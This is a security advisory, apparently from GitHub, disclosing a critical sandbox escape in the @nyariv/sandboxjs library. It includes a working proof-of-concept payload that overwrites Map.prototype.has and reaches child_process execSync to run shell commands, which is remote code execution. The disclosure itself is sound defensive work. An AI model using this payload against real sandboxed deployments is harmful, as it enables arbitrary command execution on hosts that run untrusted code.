As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}
let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();
Able to set Map.prototype.has -> RCE
{
"github_reviewed_at": "2026-02-05T21:05:59Z",
"severity": "CRITICAL",
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"nvd_published_at": "2026-02-06T20:16:10Z"
}